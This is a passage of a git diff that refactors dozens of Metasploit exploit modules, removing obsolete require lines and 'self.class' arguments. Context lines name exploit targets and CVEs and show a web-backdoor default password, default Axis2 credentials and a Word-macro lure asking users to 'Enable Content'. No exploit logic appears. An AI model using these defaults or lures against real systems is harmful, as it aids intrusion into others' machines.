a/modules/exploits/multi/browser/java_jre17_glassfish_averagerangestatisticimpl.rb +++ b/modules/exploits/multi/browser/java_jre17_glassfish_averagerangestatisticimpl.rb @@ -3,9 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking diff --git a/modules/exploits/multi/browser/java_jre17_jaxws.rb b/modules/exploits/multi/browser/java_jre17_jaxws.rb index 5333aced38..fa25c8e81d 100644 --- a/modules/exploits/multi/browser/java_jre17_jaxws.rb +++ b/modules/exploits/multi/browser/java_jre17_jaxws.rb @@ -3,9 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking diff --git a/modules/exploits/multi/browser/java_jre17_jmxbean.rb b/modules/exploits/multi/browser/java_jre17_jmxbean.rb index ce12144e5f..b7f4037fd8 100644 --- a/modules/exploits/multi/browser/java_jre17_jmxbean.rb +++ b/modules/exploits/multi/browser/java_jre17_jmxbean.rb @@ -3,9 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking diff --git a/modules/exploits/multi/browser/java_jre17_jmxbean_2.rb b/modules/exploits/multi/browser/java_jre17_jmxbean_2.rb index 1902a0eb83..9ceb3a1d04 100644 --- a/modules/exploits/multi/browser/java_jre17_jmxbean_2.rb +++ b/modules/exploits/multi/browser/java_jre17_jmxbean_2.rb @@ -3,9 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking diff --git a/modules/exploits/multi/browser/java_jre17_method_handle.rb b/modules/exploits/multi/browser/java_jre17_method_handle.rb index 1bbea0f9c8..12ecc7c40a 100644 --- a/modules/exploits/multi/browser/java_jre17_method_handle.rb +++ b/modules/exploits/multi/browser/java_jre17_method_handle.rb @@ -3,9 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking diff --git a/modules/exploits/multi/browser/java_jre17_provider_skeleton.rb b/modules/exploits/multi/browser/java_jre17_provider_skeleton.rb index 32da73a192..5a68e56dbe 100644 --- a/modules/exploits/multi/browser/java_jre17_provider_skeleton.rb +++ b/modules/exploits/multi/browser/java_jre17_provider_skeleton.rb @@ -3,9 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking # Because there isn't click2play bypass, plus now Java Security Level High by default diff --git a/modules/exploits/multi/browser/java_jre17_reflection_types.rb b/modules/exploits/multi/browser/java_jre17_reflection_types.rb index b3852a2629..21d35e44d7 100644 --- a/modules/exploits/multi/browser/java_jre17_reflection_types.rb +++ b/modules/exploits/multi/browser/java_jre17_reflection_types.rb @@ -3,9 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking diff --git a/modules/exploits/multi/browser/java_rhino.rb b/modules/exploits/multi/browser/java_rhino.rb index 5577bb5818..9f0d43c14b 100644 --- a/modules/exploits/multi/browser/java_rhino.rb +++ b/modules/exploits/multi/browser/java_rhino.rb @@ -3,9 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking diff --git a/modules/exploits/multi/browser/java_rmi_connection_impl.rb b/modules/exploits/multi/browser/java_rmi_connection_impl.rb index 5ae6062ed0..2e4f398e7a 100644 --- a/modules/exploits/multi/browser/java_rmi_connection_impl.rb +++ b/modules/exploits/multi/browser/java_rmi_connection_impl.rb @@ -3,9 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking diff --git a/modules/exploits/multi/browser/java_setdifficm_bof.rb b/modules/exploits/multi/browser/java_setdifficm_bof.rb index 290c212685..11244ad02e 100644 --- a/modules/exploits/multi/browser/java_setdifficm_bof.rb +++ b/modules/exploits/multi/browser/java_setdifficm_bof.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking diff --git a/modules/exploits/multi/browser/java_signed_applet.rb b/modules/exploits/multi/browser/java_signed_applet.rb index 5ebe7bd273..eb6268ef98 100644 --- a/modules/exploits/multi/browser/java_signed_applet.rb +++ b/modules/exploits/multi/browser/java_signed_applet.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' require 'rex/zip' class MetasploitModule < Msf::Exploit::Remote @@ -97,7 +95,7 @@ class MetasploitModule < Msf::Exploit::Remote OptString.new('SigningKeyPass', [ false, "Password for signing key (required if SigningCert is a .pfx)" ]), - ], self.class) + ]) end diff --git a/modules/exploits/multi/browser/java_storeimagearray.rb b/modules/exploits/multi/browser/java_storeimagearray.rb index 68fb323109..9d14f3ba81 100644 --- a/modules/exploits/multi/browser/java_storeimagearray.rb +++ b/modules/exploits/multi/browser/java_storeimagearray.rb @@ -3,9 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking # Because there isn't click2play bypass, plus now Java Security Level High by default diff --git a/modules/exploits/multi/browser/java_trusted_chain.rb b/modules/exploits/multi/browser/java_trusted_chain.rb index fb54d99100..2415ab9de5 100644 --- a/modules/exploits/multi/browser/java_trusted_chain.rb +++ b/modules/exploits/multi/browser/java_trusted_chain.rb @@ -3,9 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking diff --git a/modules/exploits/multi/browser/java_verifier_field_access.rb b/modules/exploits/multi/browser/java_verifier_field_access.rb index 644ecbf818..b51085f771 100644 --- a/modules/exploits/multi/browser/java_verifier_field_access.rb +++ b/modules/exploits/multi/browser/java_verifier_field_access.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking diff --git a/modules/exploits/multi/browser/mozilla_compareto.rb b/modules/exploits/multi/browser/mozilla_compareto.rb index a0781321ae..6cba699ce2 100644 --- a/modules/exploits/multi/browser/mozilla_compareto.rb +++ b/modules/exploits/multi/browser/mozilla_compareto.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/multi/browser/mozilla_navigatorjava.rb b/modules/exploits/multi/browser/mozilla_navigatorjava.rb index e2b148f5c9..ac82540c7a 100644 --- a/modules/exploits/multi/browser/mozilla_navigatorjava.rb +++ b/modules/exploits/multi/browser/mozilla_navigatorjava.rb @@ -4,8 +4,6 @@ ## require 'msf/core/constants' -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/multi/browser/opera_configoverwrite.rb b/modules/exploits/multi/browser/opera_configoverwrite.rb index 74045adbdd..ab1ac38520 100644 --- a/modules/exploits/multi/browser/opera_configoverwrite.rb +++ b/modules/exploits/multi/browser/opera_configoverwrite.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking diff --git a/modules/exploits/multi/browser/opera_historysearch.rb b/modules/exploits/multi/browser/opera_historysearch.rb index e04ac98519..0d78fe6e64 100644 --- a/modules/exploits/multi/browser/opera_historysearch.rb +++ b/modules/exploits/multi/browser/opera_historysearch.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking diff --git a/modules/exploits/multi/browser/qtjava_pointer.rb b/modules/exploits/multi/browser/qtjava_pointer.rb index e23c60c516..f502b5a158 100644 --- a/modules/exploits/multi/browser/qtjava_pointer.rb +++ b/modules/exploits/multi/browser/qtjava_pointer.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking diff --git a/modules/exploits/multi/elasticsearch/script_mvel_rce.rb b/modules/exploits/multi/elasticsearch/script_mvel_rce.rb index 726953c360..dde1cfccf0 100644 --- a/modules/exploits/multi/elasticsearch/script_mvel_rce.rb +++ b/modules/exploits/multi/elasticsearch/script_mvel_rce.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -51,7 +49,7 @@ class MetasploitModule < Msf::Exploit::Remote Opt::RPORT(9200), OptString.new('TARGETURI', [ true, 'The path to the ElasticSearch REST API', "/"]), OptString.new("WritableDir", [ true, "A directory where we can write files (only for *nix environments)", "/tmp" ]) - ], self.class) + ]) end def check diff --git a/modules/exploits/multi/elasticsearch/search_groovy_script.rb b/modules/exploits/multi/elasticsearch/search_groovy_script.rb index 68a45dd24f..03a1fcfd78 100644 --- a/modules/exploits/multi/elasticsearch/search_groovy_script.rb +++ b/modules/exploits/multi/elasticsearch/search_groovy_script.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -49,7 +47,7 @@ class MetasploitModule < Msf::Exploit::Remote [ Opt::RPORT(9200), OptString.new('TARGETURI', [true, 'The path to the ElasticSearch REST API', "/"]) - ], self.class) + ]) end def check diff --git a/modules/exploits/multi/fileformat/adobe_u3d_meshcont.rb b/modules/exploits/multi/fileformat/adobe_u3d_meshcont.rb index 2aa31da111..b58b85e9a2 100644 --- a/modules/exploits/multi/fileformat/adobe_u3d_meshcont.rb +++ b/modules/exploits/multi/fileformat/adobe_u3d_meshcont.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'zlib' class MetasploitModule < Msf::Exploit::Remote @@ -90,7 +89,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('FILENAME', [ true, 'The file name.', 'msf.pdf']), - ], self.class) + ]) end diff --git a/modules/exploits/multi/fileformat/js_unpacker_eval_injection.rb b/modules/exploits/multi/fileformat/js_unpacker_eval_injection.rb index 13f70050be..7deb6c1091 100644 --- a/modules/exploits/multi/fileformat/js_unpacker_eval_injection.rb +++ b/modules/exploits/multi/fileformat/js_unpacker_eval_injection.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/exploit/jsobfu' class MetasploitModule < Msf::Exploit::Remote @@ -35,7 +34,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options([ OptString.new('FILENAME', [true, 'The file name.', 'msf.js']), OptString.new('CUSTOM_JS', [false, 'Custom Javascript payload.']) - ], self.class) + ]) end def exploit diff --git a/modules/exploits/multi/fileformat/maple_maplet.rb b/modules/exploits/multi/fileformat/maple_maplet.rb index 260425d5aa..c49b2839e2 100644 --- a/modules/exploits/multi/fileformat/maple_maplet.rb +++ b/modules/exploits/multi/fileformat/maple_maplet.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -92,7 +90,7 @@ class MetasploitModule < Msf::Exploit::Remote [ OptString.new('TEMPLATE', [ false, 'The file to infect.', '']), OptString.new('FILENAME', [ true, 'The output file.', 'msf.maplet']), - ], self.class) + ]) end diff --git a/modules/exploits/multi/fileformat/nodejs_js_yaml_load_code_exec.rb b/modules/exploits/multi/fileformat/nodejs_js_yaml_load_code_exec.rb index 920ca81f2c..54886a28e5 100644 --- a/modules/exploits/multi/fileformat/nodejs_js_yaml_load_code_exec.rb +++ b/modules/exploits/multi/fileformat/nodejs_js_yaml_load_code_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -41,7 +39,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options([ OptString.new('FILENAME', [ true, 'The file name.', 'msf.yml']) - ], self.class) + ]) end def exploit diff --git a/modules/exploits/multi/fileformat/office_word_macro.rb b/modules/exploits/multi/fileformat/office_word_macro.rb index 7e8f4406c3..8c1313b9ce 100644 --- a/modules/exploits/multi/fileformat/office_word_macro.rb +++ b/modules/exploits/multi/fileformat/office_word_macro.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'rex/zip' class MetasploitModule < Msf::Exploit::Remote @@ -61,7 +60,7 @@ class MetasploitModule < Msf::Exploit::Remote 'Contents of this document are protected. Please click Enable Content to continue.' ]), OptString.new('FILENAME', [true, 'The Office document macro file', 'msf.docm']) - ], self.class) + ]) end diff --git a/modules/exploits/multi/fileformat/peazip_command_injection.rb b/modules/exploits/multi/fileformat/peazip_command_injection.rb index 7c92f18163..0f3d042522 100644 --- a/modules/exploits/multi/fileformat/peazip_command_injection.rb +++ b/modules/exploits/multi/fileformat/peazip_command_injection.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'rex/zip' class MetasploitModule < Msf::Exploit::Remote @@ -60,7 +59,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('FILENAME', [ true, 'The file name.', 'msf.zip']), - ], self.class) + ]) end diff --git a/modules/exploits/multi/fileformat/swagger_param_inject.rb b/modules/exploits/multi/fileformat/swagger_param_inject.rb index 978b36a32e..e7626102ee 100644 --- a/modules/exploits/multi/fileformat/swagger_param_inject.rb +++ b/modules/exploits/multi/fileformat/swagger_param_inject.rb @@ -12,8 +12,6 @@ require 'base64' # Project # -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -70,7 +68,7 @@ class MetasploitModule < Msf::Exploit::Remote OptString.new('PATH_DESCRIPTION', [true, 'Description of a path request object', 'D']), OptString.new('PATH_RESPONSE_DESCRIPTION', [true, 'Description of a path response object', 'E']), OptString.new('DEFINITION_DESCRIPTION', [true, 'Description of an object definition.', 'F']) - ], self.class) + ]) end def swagger diff --git a/modules/exploits/multi/ftp/pureftpd_bash_env_exec.rb b/modules/exploits/multi/ftp/pureftpd_bash_env_exec.rb index 188b35def4..306ea623dd 100644 --- a/modules/exploits/multi/ftp/pureftpd_bash_env_exec.rb +++ b/modules/exploits/multi/ftp/pureftpd_bash_env_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -68,7 +66,7 @@ class MetasploitModule < Msf::Exploit::Remote [ Opt::RPORT(21), OptString.new('RPATH', [true, 'Target PATH for binaries used by the CmdStager', '/bin']) - ], self.class) + ]) deregister_options('FTPUSER', 'FTPPASS') end diff --git a/modules/exploits/multi/ftp/wuftpd_site_exec_format.rb b/modules/exploits/multi/ftp/wuftpd_site_exec_format.rb index a9d22c9429..e418e93cc2 100644 --- a/modules/exploits/multi/ftp/wuftpd_site_exec_format.rb +++ b/modules/exploits/multi/ftp/wuftpd_site_exec_format.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking @@ -102,7 +100,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(21), - ], self.class ) + ]) end diff --git a/modules/exploits/multi/gdb/gdb_server_exec.rb b/modules/exploits/multi/gdb/gdb_server_exec.rb index ac548a9e68..4c647fb5d4 100644 --- a/modules/exploits/multi/gdb/gdb_server_exec.rb +++ b/modules/exploits/multi/gdb/gdb_server_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking @@ -39,7 +37,7 @@ class MetasploitModule < Msf::Exploit::Remote "The exe to spawn when gdbserver is not attached to a process.", '/bin/true' ]) - ], self.class) + ]) end def exploit diff --git a/modules/exploits/multi/handler.rb b/modules/exploits/multi/handler.rb index a5027e22fe..096ab2e7cb 100644 --- a/modules/exploits/multi/handler.rb +++ b/modules/exploits/multi/handler.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ManualRanking @@ -40,7 +38,7 @@ class MetasploitModule < Msf::Exploit::Remote [ OptBool.new("ExitOnSession", [ false, "Return from the exploit after a session has been created", true ]), OptInt.new("ListenerTimeout", [ false, "The maximum number of seconds to wait for new sessions", 0]) - ], self.class) + ]) end def exploit diff --git a/modules/exploits/multi/http/activecollab_chat.rb b/modules/exploits/multi/http/activecollab_chat.rb index c7e6129b76..e265832430 100644 --- a/modules/exploits/multi/http/activecollab_chat.rb +++ b/modules/exploits/multi/http/activecollab_chat.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -49,7 +47,7 @@ class MetasploitModule < Msf::Exploit::Remote OptString.new('URI',[true, "The path to the ActiveCollab installation", "/"]), OptString.new('USER',[true, "The username (e-mail) to authenticate with"]), OptString.new('PASS',[true, "The password to authenticate with"]) - ],self.class) + ]) end def check diff --git a/modules/exploits/multi/http/ajaxplorer_checkinstall_exec.rb b/modules/exploits/multi/http/ajaxplorer_checkinstall_exec.rb index bc94a338b3..eef47e72e9 100644 --- a/modules/exploits/multi/http/ajaxplorer_checkinstall_exec.rb +++ b/modules/exploits/multi/http/ajaxplorer_checkinstall_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -51,7 +49,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('TARGETURI', [true, 'The base path to AjaXplorer', '/AjaXplorer-2.5.5/']) - ], self.class) + ]) end def check diff --git a/modules/exploits/multi/http/apache_mod_cgi_bash_env_exec.rb b/modules/exploits/multi/http/apache_mod_cgi_bash_env_exec.rb index cfb11f4f35..3da45195bd 100644 --- a/modules/exploits/multi/http/apache_mod_cgi_bash_env_exec.rb +++ b/modules/exploits/multi/http/apache_mod_cgi_bash_env_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -70,7 +68,7 @@ class MetasploitModule < Msf::Exploit::Remote OptString.new('RPATH', [true, 'Target PATH for binaries used by the CmdStager', '/bin']), OptInt.new('TIMEOUT', [true, 'HTTP read response timeout (seconds)', 5]), OptEnum.new('CVE', [true, 'CVE to check/exploit', 'CVE-2014-6271', ['CVE-2014-6271', 'CVE-2014-6278']]) - ], self.class) + ]) end def check diff --git a/modules/exploits/multi/http/apache_roller_ognl_injection.rb b/modules/exploits/multi/http/apache_roller_ognl_injection.rb index 67afb643ef..28b7f871a2 100644 --- a/modules/exploits/multi/http/apache_roller_ognl_injection.rb +++ b/modules/exploits/multi/http/apache_roller_ognl_injection.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -45,7 +43,7 @@ class MetasploitModule < Msf::Exploit::Remote [ Opt::RPORT(8080), OptString.new('TARGETURI', [ true, 'The path to the Apache Roller application.', "/roller"]) - ], self.class) + ]) end def execute_command(cmd) diff --git a/modules/exploits/multi/http/apprain_upload_exec.rb b/modules/exploits/multi/http/apprain_upload_exec.rb index 0ca04d25f8..fe9fdb50b1 100644 --- a/modules/exploits/multi/http/apprain_upload_exec.rb +++ b/modules/exploits/multi/http/apprain_upload_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -53,7 +51,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('TARGETURI', [true, 'The base path to appRain', '/appRain-q-0.1.5']) - ], self.class) + ]) end def check diff --git a/modules/exploits/multi/http/atutor_sqli.rb b/modules/exploits/multi/http/atutor_sqli.rb index afdea90590..c8140cce3d 100644 --- a/modules/exploits/multi/http/atutor_sqli.rb +++ b/modules/exploits/multi/http/atutor_sqli.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -44,7 +42,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('TARGETURI', [true, 'The path of Atutor', '/ATutor/']) - ],self.class) + ]) end def print_status(msg='') diff --git a/modules/exploits/multi/http/auxilium_upload_exec.rb b/modules/exploits/multi/http/auxilium_upload_exec.rb index 392ffc6c62..f1d9883890 100644 --- a/modules/exploits/multi/http/auxilium_upload_exec.rb +++ b/modules/exploits/multi/http/auxilium_upload_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -48,7 +46,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('TARGETURI', [true, 'The base directory to the application', '/Auxiliumpetratepro/']) - ], self.class) + ]) end diff --git a/modules/exploits/multi/http/axis2_deployer.rb b/modules/exploits/multi/http/axis2_deployer.rb index 762484a328..3ee82f4e34 100644 --- a/modules/exploits/multi/http/axis2_deployer.rb +++ b/modules/exploits/multi/http/axis2_deployer.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -68,7 +66,7 @@ class MetasploitModule < Msf::Exploit::Remote OptString.new('USERNAME', [ false, 'The username to authenticate as','admin' ]), OptString.new('PASSWORD', [ false, 'The password for the specified username','axis2' ]), OptString.new('PATH', [ true, "The URI path of the axis2 app (use /dswsbobje for SAP BusinessObjects)", '/axis2']) - ], self.class) + ]) register_autofilter_ports([ 8080 ]) end diff --git a/modules/exploits/multi/http/bassmaster_js_injection.rb b/modules/exploits/multi/http/bassmaster_js_injection.rb index c9466cd94e..c94b7bd47f 100644 --- a/modules/exploits/multi/http/bassmaster_js_injection.rb +++ b/modules/exploits/multi/http/bassmaster_js_injection.rb @@ -1,5 +1,3 @@ -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -43,7 +41,7 @@ class MetasploitModule < Msf::Exploit::Remote Opt::RPORT(8080), # default port for the examples/batch.js file OptString.new('URIPATH', [ true, 'The path to the vulnerable route', "/batch"]), # default route for the examples/batch.js file OptPort.new('SRVPORT', [ true, 'The daemon port to listen on', 1337 ]), - ], self.class) + ]) end def check diff --git a/modules/exploits/multi/http/bolt_file_upload.rb b/modules/exploits/multi/http/bolt_file_upload.rb index 810c5a1234..ac19b27a09 100644 --- a/modules/exploits/multi/http/bolt_file_upload.rb +++ b/modules/exploits/multi/http/bolt_file_upload.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -43,7 +41,7 @@ class MetasploitModule < Msf::Exploit::Remote OptString.new('FOLDERNAME', [true, 'The theme path to the web application (default: base-2014)', 'base-2014']), OptString.new('USERNAME', [true, 'The username to authenticate with']), OptString.new('PASSWORD', [true, 'The password to authenticate with']) - ], self.class) + ]) end def check diff --git a/modules/exploits/multi/http/caidao_php_backdoor_exec.rb b/modules/exploits/multi/http/caidao_php_backdoor_exec.rb index 41592806fa..befe87eac8 100644 --- a/modules/exploits/multi/http/caidao_php_backdoor_exec.rb +++ b/modules/exploits/multi/http/caidao_php_backdoor_exec.rb @@ -4,8 +4,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -41,7 +39,7 @@ class MetasploitModule < Msf::Exploit::Remote [ OptString.new('TARGETURI', [true, 'The path of backdoor', '/caidao.php']), OptString.new('PASSWORD', [true, 'The password of backdoor', 'chopper']) - ], self.class) + ]) end def http_send_command(code) diff --git a/modules/exploits/multi/http/cisco_dcnm_upload.rb b/modules/exploits/multi/http/cisco_dcnm_upload.rb index 78267b571c..e1b08b44d9 100644 --- a/modules/exploits/multi/http/cisco_dcnm_upload.rb +++ b/modules/exploits/multi/http/cisco_dcnm_upload.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -54,7 +52,7 @@ class MetasploitModule < Msf::Exploit::Remote [ OptString.new('TARGETURI', [true, 'Path to Cisco DCNM', '/']), OptInt.new('ATTEMPTS', [true, 'The number of attempts to execute the payload (auto deployed by JBoss)', 10]) - ], self.class) + ]) end def upload_file(location, filename, contents) diff --git a/modules/exploits/multi/http/coldfusion_rds.rb b/modules/exploits/multi/http/coldfusion_rds.rb index d080bbed55..dd5bf24dad 100644 --- a/modules/exploits/multi/http/coldfusion_rds.rb +++ b/modules/exploits/multi/http/coldfusion_rds.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpClient @@ -64,7 +62,7 @@ class MetasploitModule < Msf::Exploit::Remote [ OptString.new('EXTURL', [ false, 'An alternative host to request the CFML payload from', "" ]), OptInt.new('HTTPDELAY', [false, 'Time that the HTTP Server will wait for the payload request', 10]), - ], self.class) + ]) register_advanced_options( [ diff --git a/modules/exploits/multi/http/cups_bash_env_exec.rb b/modules/exploits/multi/http/cups_bash_env_exec.rb index 3ba27ab138..6757aa052f 100644 --- a/modules/exploits/multi/http/cups_bash_env_exec.rb +++ b/modules/exploits/multi/http/cups_bash_env_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient @@ -63,7 +61,7 @@ class MetasploitModule < Msf::Exploit::Remote OptString.new('HttpPassword', [ true, 'CUPS user password', '']), OptEnum.new('CVE', [ true, 'CVE to exploit', 'CVE-2014-6271', ['CVE-2014-6271', 'CVE-2014-6278'] ]), OptString.new('RPATH', [ true, 'Target PATH for binaries', '/bin' ]) - ], self.class) + ]) end # diff --git a/modules/exploits/multi/http/cuteflow_upload_exec.rb b/modules/exploits/multi/http/cuteflow_upload_exec.rb index 1775c6d41c..fc5c38b6dc 100644 --- a/modules/exploits/multi/http/cuteflow_upload_exec.rb +++ b/modules/exploits/multi/http/cuteflow_upload_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -51,7 +49,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('TARGETURI', [true, 'The path to the web application', '/cuteflow_v.2.11.2/']) - ], self.class) + ]) end def check diff --git a/modules/exploits/multi/http/dexter_casinoloader_exec.rb b/modules/exploits/multi/http/dexter_casinoloader_exec.rb index fd8d55a9c8..98250dcde0 100644 --- a/modules/exploits/multi/http/dexter_casinoloader_exec.rb +++ b/modules/exploits/multi/http/dexter_casinoloader_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -55,7 +53,7 @@ class MetasploitModule < Msf::Exploit::Remote OptString.new('TARGETLOGIN', [true, 'Name of panel login page', 'index.php']), OptString.new('TARGETUPLOAD', [true, 'Name of panel upload page', 'upload.php']), OptString.new('TARGETDATABASEUSERTABLE', [true, 'Table in database that holds admin data', 'users']) - ], self.class) + ]) end def gateway diff --git a/modules/exploits/multi/http/drupal_drupageddon.rb b/modules/exploits/multi/http/drupal_drupageddon.rb index 38f32cb614..1a8f2a3ef0 100644 --- a/modules/exploits/multi/http/drupal_drupageddon.rb +++ b/modules/exploits/multi/http/drupal_drupageddon.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -43,13 +41,13 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('TARGETURI', [ true, "The target URI of the Drupal installation", '/']) - ], self.class) + ]) register_advanced_options( [ OptString.new('ADMIN_ROLE', [ true, "The administrator role", 'administrator']), OptInt.new('ITER', [ true, "Hash iterations (2^ITER)", 10]) - ], self.class) + ]) end def uri_path diff --git a/modules/exploits/multi/http/eaton_nsm_code_exec.rb b/modules/exploits/multi/http/eaton_nsm_code_exec.rb index aa9ea2ce7f..32c5a5364c 